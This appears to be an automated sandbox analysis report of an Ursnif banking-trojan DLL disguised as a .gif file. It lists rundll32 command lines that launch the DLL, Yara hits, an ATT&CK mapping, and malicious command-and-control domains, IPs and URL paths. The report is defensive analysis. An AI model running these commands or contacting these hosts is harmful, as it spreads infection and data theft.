File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{F32E7671-96F8-11EB-90E5-ECF4BB570DC9}.dat

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF4D64AB4697892AA4.TMP

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204.gif.dll,StartService

Source: 0204.gif.dll

ReversingLabs: Detection: 54%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\0204.gif.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204.gif.dll,StartService
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17414 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5184 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17414 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204.gif.dll,StartService	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17414 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5184 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5184 CREDAT:82948 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17414 /prefetch:2

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001745 LoadLibraryA,GetProcAddress,

0_2_10001745

Source: 0204.gif.dll

Static PE information: section name: .code

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C348F push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_016C34A1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C348F push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	0_2_016C3632
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C348F push 00000000h; mov dword ptr [esp], edx	0_2_016C37FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C348F push edx; mov dword ptr [esp], 00000002h	0_2_016C384A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C348F push 00000000h; mov dword ptr [esp], ecx	0_2_016C38D7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C6194 push eax; mov dword ptr [esp], 00000004h	0_2_016C61AF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C6194 push esi; mov dword ptr [esp], 00001000h	0_2_016C61B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C6194 push 00000000h; mov dword ptr [esp], ebp	0_2_016C6267
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C237B push 00000000h; mov dword ptr [esp], edi	0_2_016C2502
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C237B push 00000000h; mov dword ptr [esp], ecx	0_2_016C2524
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C237B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_016C269D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C237B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	0_2_016C2737
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C237B push edi; mov dword ptr [esp], 00000004h	0_2_016C2759
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C247B push 00000000h; mov dword ptr [esp], eax	0_2_016C2498
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C247B push 00000000h; mov dword ptr [esp], edi	0_2_016C2502
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C247B push 00000000h; mov dword ptr [esp], ecx	0_2_016C2524
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C247B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	0_2_016C269D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C247B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	0_2_016C2737
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C247B push edi; mov dword ptr [esp], 00000004h	0_2_016C2759
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	0_2_016C48B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push dword ptr [ebp-10h]; mov dword ptr [esp], edx	0_2_016C490D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push 00000000h; mov dword ptr [esp], ecx	0_2_016C4918
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push dword ptr [ebp-10h]; mov dword ptr [esp], edi	0_2_016C4990
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	0_2_016C4A23
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push 00000000h; mov dword ptr [esp], ebp	0_2_016C4A2E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push ebx; mov dword ptr [esp], 00000001h	0_2_016C4AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_016C4BE3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push 00000000h; mov dword ptr [esp], edx	0_2_016C4C36
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	0_2_016C4D62
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push 00000000h; mov dword ptr [esp], edx	0_2_016C4D67
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859 push 00000000h; mov dword ptr [esp], ecx	0_2_016C4D74

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.499116859.0000000003490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.498490060.0000000001580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260461688.0000000002BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.3490000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.500504435.000000000562F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363000651.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.442401635.0000000003B4D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362707401.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362777814.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.445053203.000000000572D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363042900.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363073558.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362687587.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.362981300.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.499756612.0000000003A4F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362750136.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363016213.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363030214.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362737439.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362723633.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6356, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6388, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_017312D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		0_2_017312D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_035512D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		3_2_035512D4

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001745 LoadLibraryA,GetProcAddress,

0_2_10001745

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C2DF5 or edx, dword ptr fs:[00000030h]	0_2_016C2DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04942DF5 or edx, dword ptr fs:[00000030h]	2_2_04942DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03432DF5 or edx, dword ptr fs:[00000030h]	3_2_03432DF5

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.499142491.0000000001CD0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.499900881.0000000003A40000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.499142491.0000000001CD0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.499900881.0000000003A40000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.499142491.0000000001CD0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.499900881.0000000003A40000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000002.499142491.0000000001CD0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.499900881.0000000003A40000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000002.499142491.0000000001CD0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.499900881.0000000003A40000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0173269C cpuid

0_2_0173269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_1000102F GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

0_2_1000102F

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0173269C RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

0_2_0173269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001850 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

0_2_10001850

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.499116859.0000000003490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.498490060.0000000001580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260461688.0000000002BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.3490000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.500504435.000000000562F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363000651.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.442401635.0000000003B4D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362707401.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362777814.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.445053203.000000000572D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363042900.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363073558.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362687587.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.362981300.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.499756612.0000000003A4F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362750136.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363016213.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363030214.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362737439.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362723633.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6356, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6388, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.499116859.0000000003490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.498490060.0000000001580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260461688.0000000002BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.3490000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.500504435.000000000562F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363000651.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.442401635.0000000003B4D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362707401.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362777814.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.445053203.000000000572D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363042900.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363073558.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362687587.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.362981300.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.499756612.0000000003A4F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362750136.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363016213.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363030214.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362737439.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362723633.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6356, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6388, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0204.gif.dll	54%	ReversingLabs	Win32.Trojan.Sdum
0204.gif.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.2.rundll32.exe.3550000.3.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
0.2.loaddll32.exe.1730000.2.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
0.2.loaddll32.exe.10000000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
3.2.rundll32.exe.10000000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://under17.com/joomla/mDD1H_2FL9FujRk_2BcMx/L3jxGl_2F01C5tOn/lz8tvuPEfBFzKF7/SXzkoDSo5ot_2BU2a7/	0%	Avira URL Cloud	safe
http://under17.com	0%	Avira URL Cloud	safe
http://under17.com/joomla/FoUDcBGCRMgOiC93_2Fr_/2FiFUTIFAwn6IXco/_2B0KkmSKvezPZ_/2Ftlw1zwyQYlkJ_2BV/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
urs-world.com	185.186.244.95	true	true	unknown
under17.com	185.243.114.196	true	true	unknown
login.microsoftonline.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.msn.com/de-ch/nachrichten/politik/l	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/news/other/das-grosse-impfen-beginnt-geht-es-nun-endlich-vorw	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/janet-yellen-us-finanzministerin-fordert-weltweite-mi	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/so-tickt-kosovos-neue-staatspr	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/es-h	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/nachrichten/vermischtes/die-altersheime-hat-man-vergessen/ar-BB1fkRPW?ocid	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/das-alles-h	msnpopularnow[1].json.22.dr	false		high
http://under17.com/joomla/mDD1H_2FL9FujRk_2BcMx/L3jxGl_2F01C5tOn/lz8tvuPEfBFzKF7/SXzkoDSo5ot_2BU2a7/	{10347227-96F9-11EB-90E5-ECF4BB570DC9}.dat.31.dr	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/international/alexej-nawalny-klagt-	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/manfred-weber-nennt-eu-beitritt-der-t	msnpopularnow[1].json.22.dr	false		high
http://under17.com	loaddll32.exe, 00000000.00000002.498740242.000000000174B000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000002.499825406.0000000003633000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/politik/coronakrise-laschet-fordert-harten-br	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/news/other/der-westen-muss-mit-sanktionen-drohen-die-wehtun/ar-BB1flkV9?oc	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/news/other/polizei-sucht-mit-superpuma-nach-vermissten-minderj	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-a	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/nachrichten/politik/fdp-nur-keine-option-von-vornherein-ausschlie	msnpopularnow[1].json.22.dr	false		high
